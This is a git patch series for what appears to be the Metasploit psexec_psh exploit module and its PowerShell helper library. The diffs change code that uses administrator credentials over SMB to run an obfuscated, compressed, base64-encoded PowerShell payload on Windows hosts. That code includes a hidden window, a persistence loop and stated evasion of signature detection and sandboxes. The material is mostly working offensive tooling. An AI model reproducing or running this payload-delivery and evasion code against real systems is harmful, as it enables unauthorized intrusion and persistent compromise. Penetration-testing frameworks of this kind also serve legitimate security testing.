From 176de5a380d89f8264700782a9c938ba7c57b3b6 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 29 Jul 2013 15:13:59 +0100 Subject: [PATCH 1/3] Selective psexec_psh merge. --- modules/exploits/windows/smb/psexec_psh.rb | 39 +++++++++++++--------- 1 file changed, 23 insertions(+), 16 deletions(-) diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 15f41e012801..e2396799396e 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -23,15 +23,15 @@ def initialize(info = {}) 'Description' => %q{ This module uses a valid administrator username and password to execute a powershell payload using a similar technique to the "psexec" utility provided by SysInternals. The - payload is encoded in base64 and executed from the commandline using the -encodedcommand - flag. Using this method, the payload is never written to disk, and given that each payload - is unique, is less prone to signature based detection. Since executing shellcode in .NET - requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture - must match that of the payload. Lastly, a persist option is provided to execute the payload - in a while loop in order to maintain a form of persistence. In the event of a sandbox - observing PSH execution, a delay and other obfuscation may be added to avoid detection. + payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline + using the -encodedcommand flag. Using this method, the payload is never written to disk, and + given that each payload is unique, is not very prone to signature based detection on the wire. + Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, + the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided + to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event + of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. In order to avoid interactive process notifications for the current user, the psh payload has - been reduced in size and wrapped in a powershell invocation which hides the process entirely. + been reduced in size and wrapped in a powershell invocation which hides the window entirely. }, 'Author' => [ @@ -68,16 +68,21 @@ def initialize(info = {}) [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ] )) + + register_options([ + OptBool.new('DryRun',[false,'dry run',false]), + ], self.class) end + def exploit command = cmd_psh_payload(payload.encoded) - - if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") + if datastore['DryRun'] + print_good command + return end - if datastore['RUN_WOW64'] and target_arch.first == "x86_64" + if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64" fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") end @@ -86,22 +91,24 @@ def exploit begin smb_login rescue StandardError => autherror - disconnect fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") + ensure + disconnect end # Execute the powershell command print_status("#{peer} - Executing the payload...") begin return psexec(command) rescue StandardError => exec_command_error - disconnect fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") - end + ensure + disconnect + end end end def peer - return "#{rhost}:#{rport}" + "#{rhost}:#{rport}" end end From 59a2c7e940e3c3d29dd4f5dc48e21a9d906c2f68 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 29 Jul 2013 15:24:29 +0100 Subject: [PATCH 2/3] Merge Upstream Exploit::Powershell --- lib/msf/core/exploit/powershell.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 5539f5c8f4a0..f2b2cbaccbd5 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -11,7 +11,9 @@ def initialize(info = {}) super register_advanced_options( [ - OptBool.new('RUN_WOW64', [ + OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]), + OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]), + OptBool.new('PSH::RUN_WOW64', [ false, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false From e1cfe7cfe23a39db8015059a6a4505ca7e1f582c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 29 Jul 2013 15:24:29 +0100 Subject: [PATCH 3/3] Update datastore changes --- lib/msf/core/exploit/powershell.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 5539f5c8f4a0..ec0cd1b451b6 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -11,7 +11,9 @@ def initialize(info = {}) super register_advanced_options( [ - OptBool.new('RUN_WOW64', [ + OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]), + OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]), + OptBool.new('PSH::RUN_WOW64', [ false, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false @@ -98,7 +100,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe') # # Creates cmd script to execute psh payload # - def cmd_psh_payload(pay, old_psh=false) + def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64']) # Allow powershell 1.0 format if old_psh psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) @@ -106,14 +108,14 @@ def cmd_psh_payload(pay, old_psh=false) psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) end # Run our payload in a while loop - if datastore['PERSIST'] + if datastore['PSH::PERSIST'] fun_name = Rex::Text.rand_text_alpha(rand(2)+2) sleep_time = rand(5)+5 psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end # Determine appropriate architecture, manual method reduces script size - ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' # Wrap in hidden runtime psh_payload = run_hidden_psh(psh_payload,ps_bin) # Convert to base64 for -encodedcommand execution